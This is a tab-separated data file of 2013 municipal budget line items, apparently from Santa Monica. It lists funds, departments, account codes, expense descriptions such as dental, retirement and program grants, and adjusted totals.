4042	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	324268.0	0	0.0	0.0	0	0	0.0	3243	0.0	0	0	0.0	327511.0
4043	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	23100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23100.0
4044	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	2100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2100.0
4045	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2013	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
4046	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
4047	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	1565.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1565.0
4048	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2013	4400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4400.0
4049	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	9639.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9639.0
4050	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562120.0	CONNECTIONS FOR CHILDREN		 Supplies and Expenses	2013	44996.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44996.0
4051	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562151.0	FAM SVC OF SM-AGCY BSD COM SPP		 Supplies and Expenses	2013	62610.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	62610.0
4052	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562152.0	FM SVC OF SM-MUIR SCHOOL PROG		 Supplies and Expenses	2013	99865.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	99865.0
4053	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562153.0	FM SVC OF SM-EDISON LANGUAGE		 Supplies and Expenses	2013	59867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59867.0
4054	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562154.0	FM SVC SM-SAPID & ON THE MOVE		 Supplies and Expenses	2013	42968.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42968.0
4055	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565161.0	VENICE FAMILY CLINIC-GEN FUND		 Supplies and Expenses	2013	92395.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92395.0
4056	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		SAFETY EXPENSES		 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4057	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400681.0	EMS REVENUE	612.0	Charges for Service	2013	-889179.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-889179.0
4058	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2013	152806.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	152806.0
4059	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2013	12482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12482.0
4060	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	37277.0	0	0.0	0.0	0	0	0.0	373	0.0	0	0	0.0	37650.0
4061	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	276773.0	0	0.0	2705.0	0	0	0.0	0	0.0	-4637	0	0.0	274841.0
4062	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	1311084.86	0	0.0	0.0	0	0	0.0	13111	0.0	0	0	0.0	1324195.86
4063	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	60757.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60757.0
4064	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	22557.0	0	0.0	0.0	0	0	0.0	-2607	0.0	401	0	0.0	20351.0
4065	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	112870	0	0.0	112870.0
4066	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	600082.0	0	0.0	0.0	0	0	0.0	7144	0.0	0	0	0.0	607226.0
4067	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	130867.0	0	0.0	33581.0	0	0	0.0	12966	0.0	0	0	0.0	177414.0
4068	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2013	166792.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	166792.0
4069	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2013	2652.0	0	0.0	0.0	0	0	0.0	27	0.0	0	0	0.0	2679.0
4070	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2013	5400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5400.0
4071	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511748.0	DENTAL	806.0	Salaries and Wages	2013	22847.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22847.0
4072	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511748.0	DENTAL	804.0	Salaries and Wages	2013	8574.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8574.0
4073	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511749.0	VISION	804.0	Salaries and Wages	2013	1141.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1141.0
4074	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511749.0	VISION	804.0	Salaries and Wages	2013	685.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	685.0
4075	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2013	14966.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	14744.0
4076	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511749.0	VISION	804.0	Salaries and Wages	2013	5737.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5737.0
4077	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511748.0	DENTAL	816.0	Salaries and Wages	2013	3365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3365.0
4078	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511749.0	VISION	808.0	Salaries and Wages	2013	4087.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4087.0
4079	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511749.0	VISION	810.0	Salaries and Wages	2013	685.0	0	0.0	260.0	0	0	0.0	68	0.0	0	0	0.0	1013.0
4080	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2013	7558.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7558.0
4081	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	822.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	822.0
4082	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	7600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7600.0
4083	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	1075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1075.0
4084	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511748.0	DENTAL	840.0	Salaries and Wages	2013	20250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20250.0
4085	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4160.0	0	0.0	0.0	0	0	0.0	95	0.0	0	0	0.0	4255.0
4086	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2013	3582.0	0	0.0	0.0	0	0	0.0	36	0.0	0	0	0.0	3618.0
4087	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EAP	804.0	Salaries and Wages	2013	522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	522.0
4088	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	13987.0	0	0.0	0.0	0	0	0.0	140	0.0	0	0	0.0	14127.0
4089	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	7319.0	0	0.0	-45.0	0	0	0.0	73	0.0	-121	0	0.0	7226.0
4090	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		EAP	804.0	Salaries and Wages	2013	2084.0	0	0.0	-4.0	0	0	0.0	0	0.0	-24	0	0.0	2056.0
4091	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DCAP	808.0	Salaries and Wages	2013	2124.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2124.0
4092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EAP	810.0	Salaries and Wages	2013	522.0	0	0.0	200.0	0	0	0.0	52	0.0	0	0	0.0	774.0
4093	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	2279.0	0	0.0	-100.0	0	0	0.0	0	0.0	0	0	0.0	2179.0
4094	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	822.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	822.0
4095	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1327.0	0	0.0	0.0	0	0	0.0	13	0.0	0	0	0.0	1340.0
4096	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	1144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1144.0
4097	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2013	7805.0	0	0.0	0.0	0	0	0.0	-2	0.0	0	0	0.0	7803.0
4098	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EAP	812.0	Salaries and Wages	2013	2342.0	0	0.0	0.0	0	0	0.0	-25	0.0	0	0	0.0	2317.0
4099	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	3060.0	0	0.0	0.0	0	0	0.0	31	0.0	0	0	0.0	3091.0
4100	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DCAP	816.0	Salaries and Wages	2013	492.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	492.0
4101	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	5678.0	0	0.0	0.0	0	0	0.0	57	0.0	0	0	0.0	5735.0
4102	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		UNEMPLOYMENT	816.0	Salaries and Wages	2013	10714.0	0	0.0	0.0	0	0	0.0	107	0.0	0	0	0.0	10821.0
4103	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	7863.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7863.0
4104	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	16544.0	0	0.0	0.0	0	0	0.0	165	0.0	0	0	0.0	16709.0
4105	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	119930.0	0	0.0	0.0	0	0	0.0	1199	0.0	0	0	0.0	121129.0
4106	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2013	35141.0	0	0.0	0.0	0	0	0.0	351	0.0	0	0	0.0	35492.0
4107	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		DCAP	806.0	Salaries and Wages	2013	6480.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6480.0
4108	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EAP	806.0	Salaries and Wages	2013	2192.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2192.0
4109	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		UNEMPLOYMENT	806.0	Salaries and Wages	2013	6520.0	0	0.0	0.0	0	0	0.0	65	0.0	0	0	0.0	6585.0
4110	B1	IS	1	General Fund	310	FIRE	315	TRAINING		UNEMPLOYMENT	806.0	Salaries and Wages	2013	1483.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1498.0
4111	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		UNEMPLOYMENT		Salaries and Wages	2013	2785.0	0	0.0	0.0	0	0	0.0	28	0.0	0	0	0.0	2813.0
4112	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		UNEMPLOYMENT	808.0	Salaries and Wages	2013	1808.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1826.0
4113	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DCAP	808.0	Salaries and Wages	2013	420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	420.0
4114	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	75494.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75494.0
4115	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511749.0	VISION	840.0	Salaries and Wages	2013	1912.0	0	0.0	0.0	0	0	0.0	-9	0.0	0	0	0.0	1903.0
4116	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	78137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	78137.0
4117	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2013	6011.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6011.0
4118	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	263322.0	17288	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	280610.0
4119	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2013	39700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39700.0
4120	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	6914.0	1738	0.0	0.0	0	0	0.0	3476	0.0	0	0	0.0	12128.0
4121	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	5845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5845.0
4122	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2013	36900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36900.0
4123	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2013	31371.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31371.0
4124	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2013	74804.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	74804.0
4125	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	10831.0	0	0.0	0.0	0	0	0.0	108	0.0	0	0	0.0	10939.0
4126	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	17165.0	0	0.0	-1000.0	0	0	0.0	162	0.0	0	0	0.0	16327.0
4127	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	8855.0	0	0.0	0.0	0	0	0.0	89	0.0	0	0	0.0	8944.0
4128	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	10976.0	0	0.0	0.0	0	0	0.0	110	0.0	0	0	0.0	11086.0
4129	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2013	23705.0	0	0.0	0.0	0	0	0.0	-13	0.0	0	0	0.0	23692.0
4130	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	5524.0	0	0.0	0.0	0	0	0.0	55	0.0	0	0	0.0	5579.0
4131	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	5855.0	0	0.0	0.0	0	0	0.0	59	0.0	0	0	0.0	5914.0
4132	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	3528.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3528.0
4133	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	4092.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4092.0
4134	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561402.0	CLINICAL SUPERVISION		 Supplies and Expenses	2013	7182.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7182.0
4135	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	320440.0	0	0.0	-100668.0	0	0	0.0	2198	0.0	0	0	0.0	221970.0
4136	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	204.0	0	0.0	-60.0	0	0	0.0	0	0.0	0	0	0.0	144.0
4137	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2013	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
4138	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	23554.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23554.0
4139	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	404.0	0	0.0	-130.0	0	0	0.0	0	0.0	0	0	0.0	274.0
4140	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2013	1658878.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1658878.0
4141	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	33547.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33547.0
4142	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EAP	804.0	Salaries and Wages	2013	418.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	418.0
4143	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1320641.0	0	0.0	0.0	0	0	0.0	13206	0.0	0	0	0.0	1333847.0
4144	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	2300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2300.0
4145	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511748.0	DENTAL	804.0	Salaries and Wages	2013	11216.0	0	0.0	0.0	0	0	0.0	450	0.0	0	0	0.0	11666.0
4146	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4567.0	0	0.0	0.0	0	0	0.0	95	0.0	0	0	0.0	4662.0
4147	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	4794.0	0	0.0	0.0	0	0	0.0	348	0.0	0	0	0.0	5142.0
4148	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566960.0	PRISONER RETENTION & TRANSPORT	806.0	 Supplies and Expenses	2013	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
4149	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2013	-255000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-255000.0
4150	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	181424.0	0	0.0	-1281.0	0	0	0.0	1806	0.0	0	0	0.0	181949.0
4151	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		UNEMPLOYMENT	804.0	Salaries and Wages	2013	4690.0	0	0.0	35.0	0	0	0.0	47	0.0	0	0	0.0	4772.0
4152	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	2867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2867.0
4153	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	2800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800.0
4154	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32000.0
4155	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555030.0	EMPLOYEE MEDICAL EXAMS	804.0	 Supplies and Expenses	2013	110313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110313.0
4156	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	14049.0	0	0.0	84.0	0	0	0.0	141	0.0	0	0	0.0	14274.0
4157	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2013	56900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56900.0
4158	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	566120.0	EMPLOYEE SERVICE AWARDS	804.0	 Supplies and Expenses	2013	39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39000.0
4159	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTE WATER	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-57000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-57000.0
4160	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	0.0	0	0.0	13952.0	0	0	0.0	0	0.0	0	0	0.0	13952.0
4161	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2013	-17690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17690.0
4162	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569221.0	MADISON PROJECT	810.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
